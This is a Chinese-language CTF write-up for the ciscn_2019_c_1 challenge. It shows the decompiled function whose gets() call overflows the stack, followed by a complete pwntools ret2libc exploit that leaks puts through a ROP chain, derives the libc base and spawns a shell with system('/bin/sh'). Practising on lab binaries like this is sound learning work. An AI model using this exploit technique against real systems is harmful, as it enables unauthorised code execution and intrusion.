64位程序，libc泄露的题型
    选项一函数有漏洞(gets)，可溢出

    1. int encrypt()
    2. {
    3.   size_t v0; // rbx@12
    4.   char s[80]; // [sp+0h] [bp-50h]@1
    6.   memset(s, 0, 0x30uLL);
    7.   *(_WORD *)&s[48] = 0;
    8.   puts("Input your Plaintext to be encrypted");
    9.   gets((__int64)s);
    10.   while ( 1 )
    11.   {
    12.     v0 = (unsigned int)x;
    13.     if ( v0 >= strlen(s) )
    14.       break;
    15.     if ( s[x] <= 96 || s[x] > 122 )
    16.     {
    17.       if ( s[x] <= 64 || s[x] > 90 )
    18.       {
    19.         if ( s[x] > 47 && s[x] <= 57 )
    20.           s[x] ^= 0xFu;
    21.       }
    22.       else
    23.       {
    24.         s[x] ^= 0xEu;
    25.       }
    26.     }
    27.     else
    28.     {
    29.       s[x] ^= 0xDu;
    30.     }
    31.     ++x;
    32.   }
    33.   puts("Ciphertext");
    34.   return puts(s);
    35. }

    然后通过rop链泄露put真实地址，再通过libc版本获得基地址
    大致流程图
    image.png
    泄露地址后在通过基地址调用 system 攻击

    1. from pwn import *
    2. from LibcSearcher import *
    4. content = 0
    5. context(os='linux', arch='amd64', log_level='debug')
    7. ret = 0x4006b9
    8. elf = ELF('ciscn_2019_c_1')
    10. puts_plt = elf.plt["puts"] 
    11. puts_got = elf.got['puts']
    12. main_addr = elf.symbols["main"]
    14. pop_rdi_ret = 0x400c83
    17. def main():
    18.     if content == 1:
    19.         peiqi = process('ciscn_2019_c_1')
    20.     else:    
    21.         peiqi = remote('node3.buuoj.cn',29775)
    23.     payload = b'a' * (0x50 + 8)
    24.     payload = payload + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) 
    25.     payload = payload + p64(main_addr)
    26.     #print(payload)
    28.     peiqi.sendlineafter("Input your choice!\n", '1')
    29.     peiqi.sendlineafter("Input your Plaintext to be encrypted\n", payload)
    31.     peiqi.recvuntil('Ciphertext\n')
    32.     peiqi.recvline()
    34.     puts_addr = peiqi.recv(7)[:-1]
    35.     puts_addr = u64(puts_addr.ljust(8,b'\x00'))
    36.     print(puts_addr)
    38.     libc = LibcSearcher('puts', puts_addr)
    40.     libc_base     = puts_addr - libc.dump('puts')
    41.     system_addr = libc_base + libc.dump('system')
    42.     binsh_addr  = libc_base + libc.dump('str_bin_sh')    
    44.     payload = b'a' * (0x50 + 8)
    45.     payload = payload + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
    47.     peiqi.sendlineafter("Input your choice!\n", '1')
    48.     peiqi.sendlineafter("Input your Plaintext to be encrypted\n", payload)
    50.     peiqi.interactive()
    52. main()

    需要注意的是 ubuntu18 栈对齐，要加个ret函数
    image.png